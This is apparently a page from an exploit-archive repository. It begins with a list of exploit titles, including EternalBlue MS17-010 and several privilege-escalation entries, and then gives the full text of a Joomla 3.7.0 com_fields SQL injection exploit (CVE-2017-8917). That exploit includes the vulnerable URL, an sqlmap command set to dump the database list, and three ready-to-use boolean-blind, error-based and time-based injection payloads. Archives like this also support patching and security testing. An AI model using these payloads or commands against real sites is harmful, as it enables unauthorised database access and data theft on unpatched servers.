3f846368c1
9 new exploits Microsoft Windows - Unauthenticated SMB Remote Code Execution (MS17-010) (Metasploit) Microsoft Windows - Unauthenticated SMB Remote Code Execution Scanner (MS17-010) (Metasploit) Linux chfn (SuSE 9.3 / 10) - Privilege Escalation Linux chfn (SuSE 9.3/10) - Privilege Escalation Microsoft Windows XP SP3 x86 / 2003 SP2 (x86) - 'NDProxy' Privilege Escalation (MS14-002) Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Privilege Escalation (MS14-002) Microsoft Windows Server 2008 R2 SP1 (x64) (Standard) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) Microsoft Windows Windows 8/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) Joomla 3.7.0 - 'com_fields' SQL Injection Oracle PeopleSoft - Server-Side Request Forgery Belden Garrettcom 6K/10K Switches - Authentication Bypass / Memory Corruption SAP Business One for Android 1.2.3 - XML External Entity Injection ManageEngine ServiceDesk Plus 9.0 - Authentication Bypass PlaySMS 1.4 - Remote Code Execution D-Link DIR-600M Wireless N 150 - Authentication Bypass
30 lines
1.5 KiB
Text
Executable file
30 lines
1.5 KiB
Text
Executable file
# Exploit Title: Joomla 3.7.0 - Sql Injection
|
|
# Date: 05-19-2017
|
|
# Exploit Author: Mateus Lino
|
|
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
|
|
# Vendor Homepage: https://www.joomla.org/
|
|
# Version: = 3.7.0
|
|
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
|
|
# CVE : - CVE-2017-8917
|
|
|
|
|
|
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
|
|
|
|
|
|
Using Sqlmap:
|
|
|
|
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
|
|
|
|
|
|
Parameter: list[fullordering] (GET)
|
|
Type: boolean-based blind
|
|
Title: Boolean-based blind - Parameter replace (DUAL)
|
|
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
|
|
|
|
Type: error-based
|
|
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
|
|
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
|
|
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
|